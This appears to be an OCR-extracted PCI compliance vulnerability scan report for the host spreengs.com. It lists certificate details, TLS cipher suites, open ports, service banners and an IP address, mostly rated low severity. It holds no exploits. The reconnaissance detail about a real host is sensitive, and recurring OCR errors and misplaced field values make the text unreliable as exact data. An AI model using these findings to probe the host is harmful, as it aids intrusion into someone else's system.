Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:09:59 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96

Subject: /CN=spreengs.com

Common name: spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEncryption

Version: 2

Wildcard SSL Certificate Detected

PCI COMPLIANCE STATUS

port 443/tcp

port 2078/tcp
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PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:

0.0
low
SLID-2008-0155
Digital Certificate

2020-11-06 00:33:12.0

Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

SSL Perfect Forward Secrecy Supported

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

0.0
low
SLID-2008-0144

Service Configuration

2021-08-13 00:04:10.0

port 443/tcp
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THREAT:
The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications
with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA384
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA
Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1_2 : DHE-RSA-AES256-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES256-SHA

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA256
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA

Cipher Suite: TLSv1_2 : ECDHE-RSA-CHACHA20-POLY1305

ICMP Timestamp Response port null/null
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2011-0482
Category: Service Discovery
CVE ID: CVE-1999-0524
Vendor Reference: -

Last Update: 2018-02-08 20:42:34.0
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THREAT:

The ICMP protocol is used to support many administrative and maintenance messages on an IP network (the most commonly known utility that uses ICMP is "ping"). This
system responded to an ICMP Timestamp request. An attacker could use the returned information (the time set on the target machine) in preparation for certain time-
based attacks.

SOLUTION:

As a general rule, ICMP should be blocked at the perimeter of your network. This protocol has been used in numerous covert command and control channels employed
by trojan horses and can also be used for general network reconnaissance; therefore, it should not be allowed into your network. The best place to filter this traffic is at a
perimeter router via an access control list (ACL); however, you can also do this via firewall rulesets.

EVIDENCE:
Time on remote host: 2026-04-17 14:08:08 UTC

FTP Banner Information Disclosure port 21/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2024-4089

Category: Information

CVE ID: -

Vendor Reference: -

Last Update: 2024-11-19 16:48:41.0
THREAT:

The remote FTP server returns a banner whenever a connection is established, which may contain information useful to an attacker.

SOLUTION:
Restrict the information that is returned in the banner.

EVIDENCE:

Banner: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 3 of 50 allowed.

220-Local time is now 09:13. Server port: 21.

220-This is a private system - No anonymous login

220-1Pv6 connections are also welcome on this server.

220 You will be disconnected after 15 minutes of inactivity.

Enumerated SSL/TLS Cipher Suites port 465/tcp

PCI COMPLIANCE STATUS
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PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0102
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:15:47.0

THREAT:

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA384
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA256

Certificate Recon Debugging Info (filtered) port 587/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956
Category: Service Discovery
CVE ID: -

Vendor Reference:
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Last Update: 2017-08-11 00:04:03.0

THREAT:
Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

Enumerated SSL/TLS Cipher Suites

PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0102
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:15:47.0

THREAT:

port 21/tcp

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher

suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-SHA
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Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

Cipher Suite:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

TLSv1_2:

DHE-RSA-CAMELLIA256-SHA

AECDH-AES256-SHA

ADH-AES256-GCM-SHA384

ADH-AES256-SHA256

ADH-AES256-SHA

ADH-CAMELLIA256-SHA

AES256-GCM-SHA384

AES256-SHA256

AES256-SHA

CAMELLIA256-SHA

ECDHE-RSA-AES128-GCM-SHA256

ECDHE-RSA-AES128-SHA256

ECDHE-RSA-AES128-SHA

DHE-RSA-AES128-GCM-SHA256

DHE-RSA-AES128-SHA256

DHE-RSA-AES128-SHA

DHE-RSA-CAMELLIA128-SHA

AECDH-AES128-SHA

ADH-AES128-GCM-SHA256

ADH-AES128-SHA256

ADH-AES128-SHA

ADH-CAMELLIA128-SHA

AES128-GCM-SHA256

AES128-SHA256

AES128-SHA

CAMELLIA128-SHA

TLSv1.2 Supported

port 2078/tcp
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PCI COMPLIANCE STATUS

PCI Severity Level:

Low

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2020-0032
Cryptography

2020-01-09 19:18:11.0

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

ECDHE-RSA-AES256-GCM-SHA384

DHE-RSA-AES256-GCM-SHA384

ECDHE-RSA-AES128-GCM-SHA256

DHE-RSA-AES128-GCM-SHA256

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

0.0
low
SLID-2017-0430

Service Discovery

port 995/tcp
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Last Update: 2020-11-06 01:32:24.0

THREAT:

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:10:36 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96

Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEnNcryption

Version: 2

Unknown services found

PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0327
Category: Service Discovery
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:32:56.0

THREAT:

port 2082/tcp

The finding reports all ports and protocols that couldn't be remotely identified. Particular items may indicate uncommon but safe protocols or in-house application that
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uses custom and/or proprietary protocol. However they can as well indicate malicious activity (backdoors, rootkits, any other types of malware). This finding is purely

informational.

SOLUTION:

Review items mentioned in this finding one by one and ensure the services are known and accounted for in your security plan.

EVIDENCE:

Unknown Service: transport protocol: tcp, port: 2082, ssl: false, banner: (N/A)

Information Disclosure via robots.txt

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

0.0

low
SLID-2010-0134
Host Fingerprinting

2020-11-06 01:10:54.0

port 2095/tcp

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By
connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:

Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:

URL: http://spreengs.com:2095/robots.txt

Rule found: Disallow: /

Certificate Recon Debugging Info (filtered)

PCI COMPLIANCE STATUS

PCI Severity Level:

port 465/tcp
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VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0
THREAT:

Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

TLSv1.2 Supported
PCI COMPLIANCE STATUS

PCI Severity Level: o

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2020-0032

Category: Cryptography

CVE ID: -

Vendor Reference: -

Last Update: 2020-01-09 19:18:11.0
THREAT:

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

port 2083/tcp
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Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:32:24.0
THREAT:

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:10:11 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96

Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEnNcryption

Version: 2

port 465/tcp
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Enumerated SSL/TLS Cipher Suites

PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2013-0102
Host Fingerprinting

2020-11-06 01:15:47.0

port 995/tcp

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:

0.0

port 110/tcp
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Severity: low

SLID: SLID-2017-0430

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:32:24.0
THREAT:

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:49:41 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96
Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEnNcryption

Version: 2

SSL Certificate Expiring Soon port 21/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -
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Vendor Reference: -
Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /CN=host.pimlive.com

Issuer: /C=US/O=Let's Encrypt/CN=R12
Certificate Chain Depth: 0
Expiration Date: 2026-06-04 02:02:41 UTC

Days to expiration: 47

SSL-TLS Certificate Information port 2078/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430
Category: Service Discovery
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:32:24.0

THREAT:
Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:10:42 +0000

Start date: 2026-03-23 12:56:51 UTC
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End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96

Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAENcryption

Version: 2

Remote Access Service Detected port 22/tcp

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

6.3
medium
SLID-2015-0447

Remote Access Service

2019-09-18 17:32:17.0

One or more remote access services were detected on the remote host. As defined by the PCI ASV Program Guide: "remote access software includes, but is not limited

to: VPN (IPSec, PPTP, SSL), pcAnywhere, VNC, Microsoft Terminal Server, remote web-based administration, ssh, Telnet."

SOLUTION:

Due to increased risk to the cardholder data environment when remote access software is present, please 1) justify the business need for this software to the ASV and 2)

confirm it is either implemented securely per PCI DSS requirement 8 or disabled/ removed.

EVIDENCE:
N/A

SSL-TLS Certificate Information port 993/tcp

PCI COMPLIANCE STATUS
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PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430
Category: Service Discovery
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:32:24.0

THREAT:
Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:10:25 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96
Subject: /CN=spreengs.com

Common name: spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEncryption

Version: 2

Enumerated SSL/TLS Cipher Suites

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

port 2083/tcp
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VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0102

Category: Host Fingerprinting

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:15:47.0
THREAT:

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Certificate Recon Debugging Info (filtered)
PCI COMPLIANCE STATUS

PCI Severity Level: =

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0
THREAT:

Cert recon debug info

port 2083/tcp
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SOLUTION:
N/A

EVIDENCE:
Verification errors:

Wildcard SSL Certificate Detected port 143/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:12.0

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /CN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

SSL Perfect Forward Secrecy Supported port 2083/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: —

m This vulnerability is not recognized in the National Vulnerability Database.
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VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0
low
SLID-2008-0144

Service Configuration

2021-08-13 00:04:10.0

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications

with the server.

SOLUTION:

No remediation is necessary.

EVIDENCE:

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Certificate Recon Debugging Info (filtered)

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT.:

Cert recon debug info

SOLUTION:
N/A

0.0
low
SLID-2012-0956

Service Discovery

2017-08-11 00:04:03.0

port 2087/tcp
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EVIDENCE:
Verification errors:

Information Disclosure via robots.txt port 2087/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0

THREAT:

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By
connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:
Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: https://67.227.216.61:2087/robots.txt

Rule found: Disallow: /

Wildcard SSL Certificate Detected port 465/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: ol

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low
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SLID: SLID-2008-0155

Category: Digital Certificate

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:12.0
THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Wildcard SSL Certificate Detected
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155
Category: Digital Certificate
CVE ID: -

Vendor Reference:

Last Update: 2020-11-06 00:33:12.0

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /CN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Certificate Chain Depth: 0

port 2087/tcp
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Wildcard Subject Name: *.spreengs.com

POP3 Service Supports the STARTTLS Command

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0190

Category: Host Fingerprinting

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:16:10.0
THREAT:

The POP3 service running on this host supports encryption using the STARTTLS command.

SOLUTION:
No remediation necessary. This is identified for informational purposes.

EVIDENCE:
Message: +OK Begin TLS negotiation now.

SSL Certificate Expiring Soon
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

port 110/tcp

port 110/tcp
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Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

SSL Certificate Expiring Soon port 143/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.
SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /CN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Certificate Chain Depth: 0
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Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

Wildcard SSL Certificate Detected port 110/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: o

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:12.0

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Certificate Recon Debugging Info (filtered) port 443/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

VULNERABILITY DETAILS
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CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956
Category: Service Discovery
CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0

THREAT:
Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

Certificate Recon Debugging Info (filtered)
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0
THREAT:

Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

SSL Certificate Expiring Soon

PCI COMPLIANCE STATUS

port 2078/tcp

port 995/tcp
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PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160

Category: Digital Certificate

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0
THREAT:

This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

SSL-TLS Certificate Information port 21/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430
Category: Service Discovery
CVE ID: -

